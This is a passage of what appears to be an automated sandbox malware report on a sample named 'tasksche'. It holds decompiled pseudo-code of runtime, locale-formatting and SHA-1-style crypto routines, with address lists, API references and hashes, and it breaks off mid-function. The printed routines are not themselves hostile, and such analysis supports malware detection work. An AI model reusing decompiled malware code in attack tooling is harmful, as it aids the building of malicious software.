						__eflags =  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024;
						_t677 = _t509 + 0x1024;
						E00405FE7(_t677, _t644, _t650, 4,  *((intOrPtr*)(_t509 + 0x6524)) + 0x4024, _t685 - 0x28, _t650, _t650, _t650, _t650);
						 *(_t685 - 0x2c) = _t677;
						goto L11;
					}
					goto L5;
				}
			}

0x00401cc6
0x00401cd0
0x00401cd6
0x00401cd7
0x00401cde
0x00401ce3
0x00401cec
0x00401cef
0x00401d4d
0x00401d4d
0x00401d7a
0x00401d7f
0x00401d84
0x00401d87
0x00401d31
0x00401d33
0x00401d38
0x00401d38
0x00401d3b
0x00401d3d
0x00401d40
0x00401d45
0x00401d46
0x0040271f
0x00402725
0x0040272d
0x0040272d
0x00401d97
0x00401d9d
0x00401dac
0x00401db4
0x00401db7
0x00401dc5
0x00401dd0
0x00401dd3
0x00401dd9
0x00401ddf
0x00401de2
0x00401df0
0x00401df0
0x00401df5
0x00401df6
0x00401e23
0x00401df8
0x00401df8
0x00401df8
0x00401df9
0x00401e17
0x00401dfb
0x00401dfb
0x00401dfb
0x00401dfe
0x00401e0f
0x00401e00
0x00401e00
0x00401e00
0x00401e01
0x00401e03
0x00401e03
0x00401e01
0x00401dfe
0x00401df9
0x00401e2d
0x00401e33
0x00401e39
0x00401e3c
0x00401e42
0x00401e45
0x00401e50
0x00401e50
0x00401e50
0x00401e53
0x00401e54
0x00401e57
0x00401e64
0x00401e71
0x00401e77
0x00401e7d
0x00401e83
0x00401e89
0x00401e8c
0x00402567
0x0040256f
0x00402576
0x0040257d
0x0040258a
0x00402596
0x00402598
0x004025a0
0x004025a4
0x004025b1
0x004025be
0x004025cb
0x004025d8
0x004025de
0x004025e4
0x004025e6
0x004025f3
0x004025f5
0x004025f5
0x004025f6
0x004025f6
0x00402602
0x00402612
0x00402612
0x00402615
0x0040261b
0x00402621
0x00402621
0x00402627
0x0040262f
0x00402635
0x004026e6
0x004026ec
0x004026f2
0x0040270c
0x0040270c
0x0040270f
0x00402712
0x00402714
0x00402717
0x0040271c
0x0040271d
0x00000000
0x0040271d
0x004026f4
0x00000000
0x00000000
0x00402700
0x00402706
0x00000000
0x00000000
0x00000000
0x00402706
0x0040263b
0x00402641
0x00402644
0x00000000
0x00000000
0x0040264a
0x0040264d
0x00000000
0x00000000
0x00402653
0x00402656
0x004026b5
0x004026bc
0x004026c3
0x004026c8
0x004026cc
0x00000000
0x00000000
0x004026d5
0x004026da
0x00000000
0x004026da
0x00402658
0x0040265f
0x00000000
0x00000000
0x00402665
0x0040266e
0x00402672
0x00402678
0x00402679
0x00402679
0x0040267b
0x00402683
0x00402686
0x0040268a
0x0040268c
0x00402691
0x00402693
0x00402695
0x00402695
0x00402699
0x00402699
0x00402699
0x004026a5
0x004026ac
0x004026af
0x004026b3
0x00000000
0x00000000
0x00000000
0x004026b3
0x004025e8
0x004025ea
0x004025f1
0x00000000
0x00000000
0x00000000
0x004025f1
0x00401e92
0x0040253d
0x0040253d
0x00402547
0x00402555
0x0040255b
0x0040255b
0x00000000
0x00402547
0x00401e98
0x00401e9a
0x00401f2d
0x00401f30
0x00401f34
0x00401f38
0x00401f3e
0x00401f40
0x00401f40
0x00401f46
0x00401f4c
0x00401f4f
0x00401f56
0x00401f5d
0x00401f5f
0x00401f67
0x00401f6d
0x00401f77
0x00401f85
0x00401f93
0x00401f97
0x00401f9d
0x00401fa8
0x00401fa8
0x00401fa8
0x00000000
0x00401f9f
0x00401f9f
0x00401fa1
0x00000000
0x00000000
0x00401fa5
0x00401faa
0x00401faa
0x00401fae
0x00401fb1
0x00401fb7
0x00401fc2
0x00401fc2
0x00401fc2
0x00401fc4
0x00401fc4
0x00401fcc
0x00401fd2
0x00401fd5
0x00401fd8
0x00401fde
0x00401fe0
0x00401ff3
0x00401ff3
0x00401fe2
0x00401fe2
0x00401fe2
0x00402000
0x0040200b
0x00402011
0x0040201f
0x0040202a
0x0040202d
0x00402034
0x00402038
0x0040203b
0x00402049
0x00402057
0x00402062
0x0040206f
0x0040207d
0x00402080
0x00402085
0x0040208c
0x00402093
0x00402096
0x004020d9
0x004020d9
0x004020dc
0x004020e2
0x004020e5
0x004020fa
0x004020fa
0x00402104
0x00402104
0x00402106
0x0040210c
0x0040210e
0x00402111
0x00402115
0x0040211b
0x00402121
0x00402123
0x00402129
0x0040212b
0x0040212b
0x00402121
0x00402132
0x00402136
0x00402141
0x00402141
0x00402141
0x00000000
0x00402138
0x00402138
0x0040213a
0x00000000
0x00000000
0x0040213e
0x00402143
0x00402143
0x0040214f
0x0040214f
0x00402151
0x00402157
0x00402182
0x00402186
0x00402189
0x00402189
0x00402189
0x0040218c
0x00402193
0x00402199
0x004021ac
0x004021ae
0x004021b4
0x004021ba
0x004021c4
0x004021c6
0x004021cc
0x004021d2
0x004021d8
0x004021df
0x004021e5
0x004021e5
0x004021eb
0x004021f0
0x004021f3
0x004021f5
0x004021f5
0x00402203
0x00402208
0x0040220c
0x00402214
0x004022ad
0x004022b7
0x004022c2
0x004022c5
0x004022cc
0x004022ce
0x004022ce
0x004022ce
0x004022d1
0x004022d3
0x004022e0
0x004022ef
0x004022fc
0x00402303
0x00402305
0x00402321
0x00402328
0x0040234c
0x00402356
0x00402367
0x00402370
0x00402373
0x0040237b
0x00402384
0x00402393
0x0040239e
0x004023a6
0x004023ab
0x004023ad
0x004023af
0x004023af
0x004023b0
0x004023b0
0x004023ad
0x00402305
0x004023be
0x004023c5
0x004023c7
0x004023c9
0x004023c9
0x0040221a
0x0040221a
0x00402226
0x00402265
0x00402268
0x00402268
0x0040226a
0x0040226d
0x00402228
0x0040222b
0x00402237
0x00402242
0x0040225b
0x0040225e
0x0040225e
0x0040227f
0x00402292
0x0040229a
0x0040229a
0x004023d0
0x004023d7
0x004023e5
0x004023e5
0x004023f3
0x004023f8
0x004023ff
0x004024d6
0x004024dc
0x004024eb
0x004024f7
0x004024fd
0x00402505
0x00402507
0x00402514
0x0040251b
0x00402520
0x00402524
0x00402533
0x00402533
0x00402524
0x00000000
0x00402405
0x00402408
0x0040240d
0x00402411
0x00402411
0x00402411
0x0040241e
0x0040242a
0x00402433
0x00402436
0x00402439
0x00402440
0x00402443
0x0040244d
0x0040244f
0x00402452
0x00402454
0x00000000
0x00000000
0x00402456
0x00402458
0x00000000
0x00000000
0x0040245a
0x0040245e
0x0040246b
0x0040246b
0x00402476
0x0040247b
0x0040247f
0x00402481
0x00402481
0x00402481
0x00402481
0x00402487
0x0040248b
0x0040248b
0x0040248e
0x004024b5
0x004024c0
0x00402490
0x00402492
0x00402495
0x00402495
0x00402498
0x0040249b
0x004024a8
0x004024aa
0x004024ad
0x004024b0
0x004024b0
0x004024b0
0x004024b0
0x00000000
0x0040249b
0x004024c5
0x004024c5
0x004024c9
0x004024cc
0x004024cc
0x00000000
0x00402440
0x004023ff
0x00402164
0x00402166
0x0040216b
0x0040216f
0x00402172
0x0040217e
0x0040217e
0x00000000
0x0040217e
0x00402174
0x00402177
0x00000000
0x00000000
0x0040217b
0x00000000
0x0040217b
0x00402136
0x004020e7
0x004020ea
0x00000000
0x00000000
0x004020ec
0x004020ef
0x004020f1
0x004020f1
0x00000000
0x00402098
0x0040209c
0x0040209c
0x0040209f
0x004020cf
0x00000000
0x004020cf
0x004020a1
0x004020a1
0x004020a3
0x004020c7
0x00000000
0x004020c7
0x004020a5
0x004020a5
0x004020a8
0x004020bb
0x004020bb
0x00000000
0x004020bb
0x004020aa
0x004020ad
0x00000000
0x00000000
0x004020af
0x00000000
0x004020af
0x00402096
0x00401fb9
0x00401fbb
0x00000000
0x00000000
0x00401fbf
0x00000000
0x00401fbf
0x00401f9d
0x00401ea0
0x00401ea3
0x00000000
0x00401ea9
0x00401ea9
0x00401ebd
0x00401ec1
0x00401ec6
0x00401ed4
0x00401ee3
0x00401ee8
0x00401eee
0x00401ef4
0x00401ef6
0x00401ef8
0x00401f02
0x00401f02
0x00401f08
0x00401f0b
0x00401f19
0x00401f1c
0x00401f22
0x00401f22
0x00000000
0x00401f0b
0x00401ea3
0x00401e47
0x00401e4e
0x00000000
0x00000000
0x00000000
0x00401e4e
0x00401e3e
0x00401e3e
0x00000000
0x00401e3e
0x00401de4
0x00401de6
0x00000000
0x00401de6
0x00401cf7
0x00401cff
0x00401d02
0x00401d04
0x00401d06
0x00000000
0x00401d14
0x00401d16
0x00401d1a
0x00401d29
0x00401d2c
0x00401d2f
0x00401d61
0x00401d69
0x00401d72
0x00401d77
0x00000000
0x00401d77
0x00000000
0x00401d2f

APIs

__EH_prolog.LIBCMT ref: 00401CC6
_strlen.LIBCMT ref: 00402237

Part of subcall function 00411B3C: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,00001FFF,?,?,004022BC,00000000,?,00000800,?,00001FFF,?), ref: 00411B58

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00402393

Strings

CMT, xrefs: 004023B6

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction ID: 47e58a6222a9c82a3371e9f2a391d10810198bea5a194d1edf5ea2ede1dda2e7
Opcode Fuzzy Hash: 0be3d3ecc635031628957b47ccd727b43b6d95ea909fd416758fe2208c21c37e
Instruction Fuzzy Hash: 8B6201709006849FCF25DF64C8947EE7BB1AF14304F0844BEE986BB2D6DB795985CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6DE Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0041E6DE(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x430298; // 0xc53a366e
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x44ff68 = _t6;
				 *0x44ff64 = _t22;
				 *0x44ff60 = _t25;
				 *0x44ff5c = _t21;
				 *0x44ff58 = _t27;
				 *0x44ff54 = _t26;
				 *0x44ff80 = ss;
				 *0x44ff74 = cs;
				 *0x44ff50 = ds;
				 *0x44ff4c = es;
				 *0x44ff48 = fs;
				 *0x44ff44 = gs;
				asm("pushfd");
				_pop( *0x44ff78);
				 *0x44ff6c =  *_t31;
				 *0x44ff70 = _v0;
				 *0x44ff7c =  &_a4;
				 *0x44feb8 = 0x10001;
				_t11 =  *0x44ff70; // 0x0
				 *0x44fe6c = _t11;
				 *0x44fe60 = 0xc0000409;
				 *0x44fe64 = 1;
				_t12 =  *0x430298; // 0xc53a366e
				_v812 = _t12;
				_t13 =  *0x43029c; // 0x3ac5c991
				_v808 = _t13;
				 *0x44feb0 = IsDebuggerPresent();
				_push(1);
				E00424E29(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x42ba78);
				if( *0x44feb0 == 0) {
					_push(1);
					E00424E29(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6de
0x0041e6e4
0x0041e6e6
0x0041e6e6
0x00423e8e
0x00423e93
0x00423e99
0x00423e9f
0x00423ea5
0x00423eab
0x00423eb1
0x00423eb8
0x00423ebf
0x00423ec6
0x00423ecd
0x00423ed4
0x00423edb
0x00423edc
0x00423ee5
0x00423eed
0x00423ef5
0x00423f00
0x00423f0a
0x00423f0f
0x00423f14
0x00423f1e
0x00423f28
0x00423f2d
0x00423f33
0x00423f38
0x00423f44
0x00423f49
0x00423f4b
0x00423f53
0x00423f5e
0x00423f6b
0x00423f6d
0x00423f6f
0x00423f74
0x00423f88

APIs

IsDebuggerPresent.KERNEL32 ref: 00423F3E
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00423F53
UnhandledExceptionFilter.KERNEL32(0042BA78), ref: 00423F5E
GetCurrentProcess.KERNEL32(C0000409), ref: 00423F7A
TerminateProcess.KERNEL32(00000000), ref: 00423F81

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction ID: 77c401cdca4814435c65699ef26cb777055d8c499ed0f7a386f9586c05fd5705
Opcode Fuzzy Hash: 4de6ed279e9cf42e89259ac0ebda5d4927e8938d534c68d964197d147836f072
Instruction Fuzzy Hash: 6F21C0B8A10208DFE710DF25F8496597BA0FB1A315F90117BE90887271EBB5599ECF0E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D155 Relevance: 3.0, APIs: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D155(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				int _t22;
				void* _t23;
				void* _t24;
				short* _t26;

				if( *0x4300dc == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x44cf24 = _v304;
					 *0x44cf26 = 0;
					 *0x4300dc = 0x44cf24;
				}
				E00410BF7(_t23, _t24, _a4, _a8,  &_v104, 0x32);
				_t22 = _a16;
				_t26 = _a12;
				 *_t26 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x4300cc, _t26, _t22);
				 *((short*)(_t26 + _t22 * 2 - 2)) = 0;
				return 0;
			}

0x0040d16d
0x0040d17b
0x0040d188
0x0040d190
0x0040d196
0x0040d196
0x0040d1ac
0x0040d1b1
0x0040d1b4
0x0040d1c0
0x0040d1ca
0x0040d1d3
0x0040d1db

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0040D17B
GetNumberFormatW.KERNEL32 ref: 0040D1CA

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction ID: 2e86bd0250e0b4fef5c8dc12a3830970d19becb9d4c55c3472b337e1343b8b10
Opcode Fuzzy Hash: fae0c5bc4c9ea969901553f08fe9413b92117c2e4d377c34b7ff725826ea960f
Instruction Fuzzy Hash: DB017C35600248AEE710DFA4EC41FAAB7FCEF09714F005426FA04EB1A0D3B89915CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00410178 Relevance: 2.8, Strings: 2, Instructions: 289
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E00410178(void* __ecx, void* _a4, signed int _a8, signed int* _a12, signed int _a16) {
				intOrPtr* _v8;
				intOrPtr* _v12;
				signed int* _v16;
				void _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t236;
				signed int _t244;
				signed int _t255;
				signed int _t264;
				signed int _t274;
				void* _t276;
				signed int _t286;
				signed int _t288;
				signed int _t292;
				signed int _t298;
				signed int* _t312;
				void* _t332;
				intOrPtr _t333;
				signed int _t337;
				signed int* _t340;
				signed int* _t341;
				signed int* _t345;
				signed int _t346;
				signed int* _t350;
				void* _t351;
				void* _t356;
				signed int _t389;
				void* _t390;
				signed int* _t392;
				signed int* _t400;
				signed int* _t408;
				signed int* _t412;
				signed int* _t415;
				signed int* _t420;
				void* _t421;
				void* _t422;

				if(_a16 == 0) {
					_t286 = _a12;
				} else {
					_t286 = _a8;
					E0041C290(_t286, _t356, _t390, _t286, _a12, 0x40);
					_t422 = _t422 + 0xc;
				}
				if( *0x44f578 == 0) {
					_t333 = 0;
					_t420 = 0x44ef3c;
					do {
						_t5 = _t333 + 1; // 0x1
						asm("cdq");
						_t389 = 5;
						_t10 = _t333 + 2; // 0x2
						 *((intOrPtr*)(_t420 - 4)) = _t333;
						 *_t420 = _t5 % _t389;
						asm("cdq");
						_t16 = _t333 + 3; // 0x3
						_t420 =  &(_t420[5]);
						 *(_t420 - 0x10) = _t10 % _t389;
						asm("cdq");
						_t22 = _t333 + 4; // 0x4
						 *(_t420 - 0xc) = _t16 % _t389;
						asm("cdq");
						 *(_t420 - 8) = _t22 % _t389;
						if(_t333 == 0) {
							_t333 = 4;
						} else {
							_t333 = _t333 - 1;
						}
					} while (_t420 < 0x44f57c);
					 *0x44f578 = 1;
				}
				_t288 = 5;
				memcpy( &_v36, _a4, _t288 << 2);
				_t236 = 0x44ef44;
				_a16 = _t286;
				do {
					_t392 = _a16;
					asm("ror ecx, 0x8");
					asm("rol edx, 0x8");
					_t292 =  *_t392 & 0xff00ff00 |  *_t392 & 0x00ff00ff;
					 *_t392 = _t292;
					_t337 =  *(_t421 +  *_t236 * 4 - 0x20);
					_a16 = _a16 + 4;
					_a12 = _t421 +  *(_t236 - 8) * 4 - 0x20;
					_v8 = _t421 + _t236[1] * 4 - 0x20;
					_a8 = _t337;
					asm("rol esi, 0x5");
					_t62 =  *((intOrPtr*)(_t421 +  *(_t236 - 0xc) * 4 - 0x20)) + _t292 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *(_t236 - 4) * 4 - 0x20) ^ _t337) &  *_a12 ^ _a8) + _t62;
					asm("ror dword [ecx], 0x2");
					_t236 =  &(_t236[5]);
					_t340 = 0x44f084;
				} while (_t236 < 0x44f084);
				_a16 = 0x10;
				do {
					_t66 = _a16 - 3; // 0xd
					_t295 = _t66;
					_t400 = _t286 + (_a16 & 0x0000000f) * 4;
					_t69 = _t295 - 5; // 0x8
					_t72 = _t295 + 5; // 0x12
					_t244 =  *(_t286 + (_t69 & 0x0000000f) * 4) ^  *(_t286 + (_t72 & 0x0000000f) * 4) ^  *(_t286 + (_t66 & 0x0000000f) * 4) ^  *_t400;
					asm("rol eax, 1");
					 *_t400 = _t244;
					_t77 = _t340 - 8; // 0x0
					_t298 =  *(_t421 +  *_t340 * 4 - 0x20);
					_t81 = _t340 - 4; // 0x0
					_a12 = _t421 +  *_t77 * 4 - 0x20;
					_t89 =  &(_t340[1]); // 0x0
					_v8 = _t421 +  *_t89 * 4 - 0x20;
					_t94 = _t340 - 0xc; // 0x0
					_a8 = _t298;
					asm("rol esi, 0x5");
					_t103 =  *((intOrPtr*)(_t421 +  *_t94 * 4 - 0x20)) + _t244 + 0x5a827999; // 0x5a827a75
					 *_v8 =  *_v8 + (( *(_t421 +  *_t81 * 4 - 0x20) ^ _t298) &  *_a12 ^ _a8) + _t103;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t340 =  &(_t340[5]);
				} while (_t340 < 0x44f0d4);
				_a16 = 0x14;
				_t341 = 0x44f0d4;
				do {
					_t109 = _a16 - 3; // 0x11
					_t301 = _t109;
					_t408 = _t286 + (_a16 & 0x0000000f) * 4;
					_t112 = _t301 - 5; // 0xc
					_t113 = _t301 + 5; // 0x16
					_t255 =  *(_t286 + (_t112 & 0x0000000f) * 4) ^  *(_t286 + (_t113 & 0x0000000f) * 4) ^  *(_t286 + (_t109 & 0x0000000f) * 4) ^  *_t408;
					asm("rol eax, 1");
					 *_t408 = _t255;
					_t120 = _t341 - 8; // 0x0
					_a12 = _t421 +  *_t120 * 4 - 0x20;
					_t125 =  &(_t341[1]); // 0x0
					_v8 = _t421 +  *_t125 * 4 - 0x20;
					_t130 = _t341 - 0xc; // 0x0
					_t134 = _t341 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v8 =  *_v8 + ( *(_t421 +  *_t134 * 4 - 0x20) ^  *(_t421 +  *_t341 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t130 * 4 - 0x20)) + _t255 + 0x6ed9eba1;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t341 =  &(_t341[5]);
				} while (_t341 < 0x44f264);
				_t312 = 0x44f260;
				_a16 = 0x28;
				_a12 = 0x44f260;
				do {
					_t150 = _a16 - 3; // 0x25
					_t342 = _t150;
					_t412 = _t286 + (_a16 & 0x0000000f) * 4;
					_t153 = _t342 - 5; // 0x20
					_t156 = _t342 + 5; // 0x2a
					_t264 =  *(_t286 + (_t153 & 0x0000000f) * 4) ^  *(_t286 + (_t156 & 0x0000000f) * 4) ^  *(_t286 + (_t150 & 0x0000000f) * 4) ^  *_t412;
					asm("rol eax, 1");
					 *_t412 = _t264;
					_t161 = _t312 - 4; // 0x0
					_t162 =  &(_t312[2]); // 0x0
					_t345 = _t421 +  *_t161 * 4 - 0x20;
					_v16 = _t345;
					_t346 =  *_t345;
					_v12 = _t421 +  *_t162 * 4 - 0x20;
					_t174 = _t312 - 8; // 0x0
					_t175 =  &(_t312[1]); // 0x0
					_a8 = _t346;
					asm("rol edi, 0x5");
					 *_v12 =  *_v12 + ( *(_t421 +  *_t175 * 4 - 0x20) & (_t346 |  *(_t421 +  *_t312 * 4 - 0x20)) | _a8 &  *(_t421 +  *_t312 * 4 - 0x20)) +  *((intOrPtr*)(_t421 +  *_t174 * 4 - 0x20)) + _t264 - 0x70e44324;
					asm("ror dword [eax], 0x2");
					_a16 = _a16 + 1;
					_t312 =  &(_a12[5]);
					_a12 = _t312;
				} while (_t312 < 0x44f3f0);
				_a16 = 0x3c;
				_t350 = 0x44f3f4;
				do {
					_t194 = _a16 - 3; // 0x39
					_t320 = _t194;
					_t415 = _t286 + (_a16 & 0x0000000f) * 4;
					_t197 = _t320 - 5; // 0x34
					_t198 = _t320 + 5; // 0x3e
					_t274 =  *(_t286 + (_t197 & 0x0000000f) * 4) ^  *(_t286 + (_t198 & 0x0000000f) * 4) ^  *(_t286 + (_t194 & 0x0000000f) * 4) ^  *_t415;
					asm("rol eax, 1");
					 *_t415 = _t274;
					_t205 = _t350 - 8; // 0x0
					_a12 = _t421 +  *_t205 * 4 - 0x20;
					_t210 =  &(_t350[1]); // 0x0
					_v16 = _t421 +  *_t210 * 4 - 0x20;
					_t215 = _t350 - 0xc; // 0x0
					_t219 = _t350 - 4; // 0x0
					asm("rol esi, 0x5");
					 *_v16 =  *_v16 + ( *(_t421 +  *_t219 * 4 - 0x20) ^  *(_t421 +  *_t350 * 4 - 0x20) ^  *_a12) +  *((intOrPtr*)(_t421 +  *_t215 * 4 - 0x20)) + _t274 - 0x359d3e2a;
					asm("ror dword [ecx], 0x2");
					_a16 = _a16 + 1;
					_t350 =  &(_t350[5]);
				} while (_t350 < 0x44f584);
				_t276 = _a4;
				_t332 =  &_v36 - _t276;
				_t351 = 5;
				do {
					 *_t276 =  *_t276 +  *((intOrPtr*)(_t332 + _t276));
					_t276 = _t276 + 4;
					_t351 = _t351 - 1;
				} while (_t351 != 0);
				return _t276;
			}

0x00410185
0x0041019a
0x00410187
0x00410187
0x00410190
0x00410195
0x00410195
0x004101a4
0x004101a6
0x004101a8
0x004101ad
0x004101ad
0x004101b0
0x004101b3
0x004101b6
0x004101b9
0x004101bc
0x004101be
0x004101c1
0x004101c4
0x004101c7
0x004101ca
0x004101cd
0x004101d0
0x004101d3
0x004101d6
0x004101db
0x004101e2
0x004101dd
0x004101dd
0x004101dd
0x004101e3
0x004101eb
0x004101eb
0x004101f7
0x004101fb
0x004101fd
0x00410202
0x00410205
0x00410205
0x0041020c
0x00410215
0x0041021e
0x00410220
0x00410227
0x00410232
0x0041023a
0x00410246
0x00410250
0x00410258
0x00410263
0x0041026a
0x0041026f
0x00410272
0x00410275
0x0041027a
0x0041027e
0x00410285
0x00410288
0x00410288
0x0041028e
0x00410291
0x0041029a
0x004102a9
0x004102ab
0x004102ad
0x004102af
0x004102b4
0x004102b8
0x004102c3
0x004102c6
0x004102cf
0x004102d2
0x004102d9
0x004102e1
0x004102ec
0x004102f3
0x004102f8
0x004102fb
0x004102fe
0x00410306
0x0041030e
0x00410315
0x00410317
0x0041031a
0x0041031a
0x00410320
0x00410323
0x00410326
0x0041033b
0x0041033d
0x0041033f
0x00410341
0x0041034a
0x0041034d
0x00410354
0x00410357
0x0041035e
0x00410369
0x0041037f
0x00410381
0x00410384
0x00410387
0x0041038a
0x00410392
0x00410397
0x0041039e
0x004103a1
0x004103a4
0x004103a4
0x004103aa
0x004103ad
0x004103b6
0x004103c5
0x004103c7
0x004103c9
0x004103cb
0x004103ce
0x004103d7
0x004103df
0x004103e2
0x004103e4
0x004103e7
0x004103ea
0x004103f5
0x00410405
0x00410414
0x0041041c
0x0041041f
0x00410422
0x0041042b
0x0041042b
0x00410434
0x0041043b
0x00410440
0x00410443
0x00410443
0x00410449
0x0041044c
0x0041044f
0x00410464
0x00410466
0x00410468
0x0041046a
0x00410473
0x00410476
0x0041047d
0x00410480
0x00410487
0x00410492
0x004104a8
0x004104aa
0x004104ad
0x004104b0
0x004104b3
0x004104bb
0x004104c3
0x004104c5
0x004104c6
0x004104c9
0x004104cb
0x004104ce
0x004104ce
0x004104d5

Strings

DD, xrefs: 004101FD
<D, xrefs: 004101A8

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID: <D$DD
API String ID: 0-3036587789
Opcode ID: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction ID: 59a02f745f793eb532b4d9e305735a670a6f692f985c4356a20c5044c607aa25
Opcode Fuzzy Hash: a120047ceaa170e9019935171625ae5ad03bfb54992e95746f25c16dbdc0a917
Instruction Fuzzy Hash: E8D15D72A0061ACFCF14CF58D884599B3B1FF8C308B2685ADE919AB245D731BA56CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00417D78 Relevance: 2.6, APIs: 1, Instructions: 1055
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00417D78(void* __ecx, unsigned int _a4, char _a7) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t539;
				signed int _t540;
				unsigned int _t541;
				signed int _t544;
				signed int _t545;
				signed int _t547;
				unsigned int _t551;
				signed int _t553;
				intOrPtr* _t554;
				unsigned int _t556;
				signed int _t559;
				signed int _t560;
